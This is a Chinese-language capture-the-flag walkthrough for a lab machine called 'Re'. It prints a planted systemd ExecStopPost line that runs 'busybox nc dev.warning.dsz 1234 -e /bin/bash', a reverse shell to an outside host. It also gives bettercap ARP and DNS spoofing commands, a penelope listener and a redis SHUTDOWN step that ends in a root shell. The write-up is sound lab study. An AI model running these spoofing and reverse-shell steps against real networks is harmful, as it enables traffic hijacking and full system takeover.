

Re

```
> nmap -sC -sV -p- 192.168.43.45
Starting Nmap 7.95 ( https://nmap.org ) at 2026-03-24 02:33 EDT
Nmap scan report for 192.168.43.45
Host is up (0.00069s latency).
Not shown: 65533 closed tcp ports (reset)
PORT      STATE SERVICE VERSION
22/tcp    open  ssh      OpenSSH 8.4p1 Debian 5+deb11u3 (protocol 2.0)
|_ ssh-hostkey:
|   3072 f6:a3:b6:78:c4:62:af:44:bb:1a:a0:0c:08:6b:98:f7 (RSA)
|   256  bb:e8:a2:31:d4:05:a9:c9:31:ff:62:f6:32:84:21:9d (ECDSA)
|_  256  3b:ae:34:64:4f:a5:75:b9:4a:b9:81:f9:89:76:99:eb (ED25519)
80/tcp    open  http      Apache httpd 2.4.62 ((Debian))
|_ http-server-header: Apache/2.4.62 (Debian)
|_ http-title: System Home
MAC Address: 08:00:27:7B:10:CC (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/.
Nmap done: 1 IP address (1 host up) scanned in 18.07 seconds
```

web上花了好长时间，看到/server-status端口的状态码是403，我以为要绕过验证什么的，实际上什么也没有。

直接用任意用户连接ssh，会有提示

```
(kali㉿kali)-[~]
└─$ ssh root@192.168.43.45
```



```
_ _ _
| \ | | _ _ _ _ _ / _ | _ _
| \| | | / - | - / - \ _ \ / - V _
| | | | C | / / _ / _ _ | ) | _ / (
|_ | |_ |\ _ , / _ \ _ | | _ _ / \ _ | \ _
```

```
username: sublarge
password: *****

root@192.168.43.45's password:
```

一开始我还以为是要爆破，但实际上没爆破出来，然后用*****登上去了😂

进程这边看到运行了 `/usr/bin/python3 /usr/local/bin/publisher.py` 和 `/usr/bin/redis-server 127.0.0.1:6379` 这两个都挺可以，web服务并没有运行数据库，但是又redis的服务，另外一个脚本也不知道是做什么

```

Running processes (cleaned)
└─ Check weird & unexpected processes run by root: https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#processes
root      1  0.0  0.3 166280  6944 ?        ss      06:35   0:00 /sbin/init
root     225  0.0  0.4  48992  9364 ?        ss      06:35   0:00 /lib/systemd/systemd-journald

```

```

root          250  0.0  0.1  22016  2560 ?          Ss   06:35   0:00 /lib/systemd/systemd-
udev
systemd+      303  0.0  0.0   89036   464 ?          Ssl  06:35   0:00 /lib/systemd/systemd-
timesyncd
└─(Caps) 0x0000000002000000=cap_sys_time
root          326  0.0  0.0   6736   684 ?          Ss   06:35   0:00 /usr/sbin/cron -f
message+     327  0.0  0.0   7936  1020 ?          Ss   06:35   0:00 /usr/bin/dbus-daemon --
system --address=systemd: --nofork --nopidfile --systemd-activation --syslog-only
└─(Caps) 0x0000000002000000=cap_audit_write
root          328  0.0  0.0  222784   556 ?          Ssl  06:35   0:00 /usr/sbin/rsyslogd -n -
iNONE
root          329  0.0  0.1  22528  3848 ?          Ss   06:35   0:00 /lib/systemd/systemd-
logind
root          331  0.0  0.0   9588   956 ?          Ss   06:35   0:00 /sbin/dhclient -4 -v -i -
pf /run/dhclient.enp0s3.pid -lf /var/lib/dhcp/dhclient.enp0s3.leases -I -df
/var/lib/dhcp/dhclient6.enp0s3.leases enp0s3
root          348  0.0  0.0   5840    56 tty1       Ss+  06:35   0:00 /sbin/agetty -o -p -- u -
-noclear tty1 linux
root          384  0.0  0.2 108880  5476 ?          Ssl  06:35   0:00 /usr/bin/python3
/usr/share/unattended-upgrades/unattended-upgrade-shutdown --wait-for-signal
sublarge     454  0.2  0.1  14508  2216 ?          S    06:35   0:06 | _ sshd:
sublarge@pts/0
sublarge     455  0.0  0.1   7084  2600 pts/0     Ss+  06:35   0:00 | _ -bash
sublarge    26455  0.6  0.2  14508  5472 ?          S    07:18   0:00 _ sshd:
sublarge@pts/1
sublarge    26456  0.0  0.1   7084  3692 pts/1     Ss   07:18   0:00 _ -bash
sublarge    26581  1.7  0.1   3452  2592 pts/1     S+   07:18   0:00 _ /bin/sh
./linpeas.sh
sublarge     42209  0.0  0.0   3452  1132 pts/1     S+   07:18   0:00 _
/bin/sh ./linpeas.sh
sublarge     42213  0.0  0.1  11844  3308 pts/1     R+   07:18   0:00 | _ ps
fauxwww
sublarge     42212  0.0  0.0   3452  1132 pts/1     S+   07:18   0:00 _
/bin/sh ./linpeas.sh
root          423  0.0  0.3 253820  7004 ?          Ss   06:35   0:00 /usr/sbin/apache2 -k
start
www-data     426  0.0  0.2 253852  4452 ?          S    06:35   0:00 _ /usr/sbin/apache2 -k
start
www-data     427  0.0  0.2 253852  4484 ?          S    06:35   0:00 _ /usr/sbin/apache2 -k
start
www-data     428  0.0  0.2 253852  4484 ?          S    06:35   0:00 _ /usr/sbin/apache2 -k
start
www-data     429  0.0  0.2 253852  4484 ?          S    06:35   0:00 _ /usr/sbin/apache2 -k
start
www-data     430  0.0  0.2 253852  4484 ?          S    06:35   0:00 _ /usr/sbin/apache2 -k
start
sublarge     434  0.0  0.2  15912  5180 ?          Ss   06:35   0:00 /lib/systemd/systemd --
user
sublarge     435  0.0  0.0  17812   872 ?          S    06:35   0:00 _ (sd-pam)
root        3615  0.0  0.1 236932  2348 ?          Ssl  06:40   0:00 /usr/libexec/polkitd --
no-debug
redis        21278  0.1  5.9 198220 121484 ?        Ssl  07:09   0:01 /usr/bin/redis-server
127.0.0.1:6379

```

```
root      21283  0.0  1.1  31108 23488 ?        ss    07:09   0:00 /usr/bin/python3
/usr/local/bin/publisher.py
```

进一步发现了一个redis-publisher.service服务

```
sublarge@Re:/tmp/linpeas.sh$ find / -name "*publisher*" 2>/dev/null
/run/systemd/units/invocation:redis-publisher.service
/usr/local/bin/publisher.py
/usr/share/mime/application/vnd.ms-publisher.xml
/tmp/systemd-private-30001393452e4053ac27383db4069e41-redis-publisher.service-7MwSwf
/sys/fs/cgroup/system.slice/redis-publisher.service
/etc/systemd/system/redis-publisher.service
/etc/systemd/system/multi-user.target.wants/redis-publisher.service
/var/tmp/systemd-private-30001393452e4053ac27383db4069e41-redis-publisher.service-jLxApj
/var/log/redis-publisher
```

查看 publisher 服务的详细信息

```
sublarge@Re:/usr/local/lib/python3.9/dist-packages$ systemctl cat redis-publisher.service
# /etc/systemd/system/redis-publisher.service
[Unit]
Description=Redis Publisher Service
After=network.target redis-server.service
Requires=redis-server.service

[Service]
Type=simple
User=root
Group=root
ExecStart=/usr/bin/python3 /usr/local/bin/publisher.py
ExecStopPost=/bin/bash -c '/usr/bin/busybox nc dev.warning.dsz 1234 -e /bin/bash'
Restart=always
RestartSec=10
StandardOutput=journal
StandardError=journal

NoNewPrivileges=true
PrivateTmp=true

[Install]
WantedBy=multi-user.target
```

关键信息 `ExecStopPost=/bin/bash -c '/usr/bin/busybox nc dev.warning.dsz 1234 -e /bin/bash'`，在服务关闭的时候会触发向 `dev.warning.dsz` 域名发送连接请求

```
sublarge@Re:/usr/local/lib/python3.9/dist-packages$ ls -la /var/log/redis-publisher
total 380
drwxr-xr-x  2 root root 4096 Mar 24 04:57 .
drwxr-xr-x 12 root root 4096 Mar 24 02:31 ..
.....
-rw-r--r--  1 root root   83 Mar 24 04:49 2026-03-24_04-49-44.log
```

```

-rw-r--r-- 1 root root 83 Mar 24 04:51 2026-03-24_04-51-20.log
-rw-r--r-- 1 root root 83 Mar 24 04:52 2026-03-24_04-52-55.log
-rw-r--r-- 1 root root 83 Mar 24 04:54 2026-03-24_04-54-30.log
-rw-r--r-- 1 root root 83 Mar 24 04:56 2026-03-24_04-56-05.log
-rw-r--r-- 1 root root 83 Mar 24 04:57 2026-03-24_04-57-40.log
sublarge@Re:/usr/local/lib/python3.9/dist-packages$ cat /var/log/redis-publisher/*
.....
[2026-03-24T04:49:44.973631] Publisher cycle completed successfully
Channel: chan5
[2026-03-24T04:51:20.049106] Publisher cycle completed successfully
Channel: chan5
[2026-03-24T04:52:55.125617] Publisher cycle completed successfully
Channel: chan5
[2026-03-24T04:54:30.201797] Publisher cycle completed successfully
Channel: chan5
[2026-03-24T04:56:05.277460] Publisher cycle completed successfully
Channel: chan5
[2026-03-24T04:57:40.353229] Publisher cycle completed successfully
Channel: chan5

```

然后思路就是可以改靶机的hosts文件，控制域名的解析ip，或者是dns劫持，让dns服务器把域名劫持到kali

第一个方法由于权限问题无法落地，采用第二种方法

ARP + DNS 劫持方法

```

同网段 192.168.43.0/24
靶机 192.168.43.45
Kali 192.168.43.44
域名 dev.warning.dsz

```

使用bettercap工具进行劫持，首先kali启动 bettercap

```
sudo bettercap -iface eth0
```

进入 bettercap 提示符，输入

<code>net.probe on</code>	#开启网络探测，扫描局域网中的活动主机，帮助确定攻击目标。
<code>set arp.spoof.targets 192.168.43.45</code>	
<code>arp.spoof on</code>	#启动 ARP 欺骗，向目标发送伪造的 ARP 响应，使目标误将攻击者
<code>MAC 地址与网关（或任意 IP）关联，从而将目标发出的网络流量重定向到攻击机。</code>	
<code>set arp.spoof.internal true</code>	#开启内部 ARP 欺骗，用于同一子网内的主机，使攻击者能拦截和修
<code>改所有经过的流量。</code>	
<code>set dns.spoof.all true</code>	#开启全局 DNS 欺骗，拦截所有 DNS 请求。
<code>set dns.spoof.ttl 1</code>	#将伪造的 DNS 响应的生存时间（TTL）设为 1，防止被缓存。
<code>set dns.spoof.domains dev.warning.dsz</code>	#指定只对域名 dev.warning.dsz 进行欺骗。
<code>set dns.spoof.address 192.168.43.44</code>	#设置欺骗返回的 IP 地址为攻击机的 IP
<code>dns.spoof on</code>	#启动 DNS 欺骗。
<code>net.sniff on</code>	#开启网络嗅探，捕获并分析流量。
<code>events.stream on</code>	#实时输出攻击过程中产生的事件，便于监控。

这里一定要配置对，特别是 `set arp.spoof.targets 192.168.43.45`，不然kali可能会把同网段的机器的dns服务都劫持到kali，导致主机的dns服务也出问题，不过就算不这样实际上并不影响做题

新终端中关闭 IP forwarding（防止真实 DNS 回复抢答）

```
sudo sysctl -w net.ipv4.ip_forward=0
sudo sysctl -w net.ipv6.conf.all.forwarding=0
```

监听1234端口

```
> python penelope.py -p 1234
[+] Listening for reverse shells on 0.0.0.0:1234 → 127.0.0.1 • 192.168.43.44 • 198.18.0.1
➤ 🏠 Main Menu (m) 🧠 Payloads (p) 🗑 Clear (Ctrl-L) 🛑 Quit (q/Ctrl-C)
```

靶机端验证

```
# 强制清缓存（反复执行 3-5 次）
systemd-resolve --flush-caches 2>/dev/null || true
resolvectl flush-caches 2>/dev/null || true
sudo systemctl restart systemd-resolved 2>/dev/null || true

# 测试域名解析
ping -c 3 dev.warning.dsz

# 测试busybox能否弹回来
/usr/bin/busybox nslookup dev.warning.dsz
/usr/bin/busybox ping -c 1 dev.warning.dsz
```

测试成功之后，域名被解析到kali的ip上，接下来就是让服务停止，触发payload的了

这里直接kill进程没有权限关不掉，然后我的想法是让 `redis-publisher.service` 服务报错，然后我尝试传输大量数据，占用内存来报错，也没成功，这里被killed的应该是我们执行的命令，服务并没有被崩溃。

```
sublarge@Re:~$ head -c 100M /dev/urandom | redis-cli -h 127.0.0.1 -x set channel
OK
sublarge@Re:~$ head -c 1000M /dev/urandom | redis-cli -h 127.0.0.1 -x set channel
Killed
```

ai提供的可以直接用SHUTDOWN关闭，没想到这么直接

```
redis-cli -h 127.0.0.1 SHUTDOWN
```

```
[+] Got reverse shell from Re~192.168.43.45-Linux-x86_64 🥰 Assigned SessionID <4>
(Penelope)> sessions 4
[+] Attempting to upgrade shell to PTY...
[+] Shell upgraded successfully using /usr/bin/python3! 🙌
[+] Interacting with session [4], Shell Type: PTY, Menu key: F12
[+] Logging to /home/kali/.penelope/sessions/Re~192.168.43.45-Linux-x86_64/2026_03_24-
07_06_30-336.log 📄
```

```
root@Re:/# id
uid=0(root) gid=0(root) groups=0(root)
root@Re:/#
```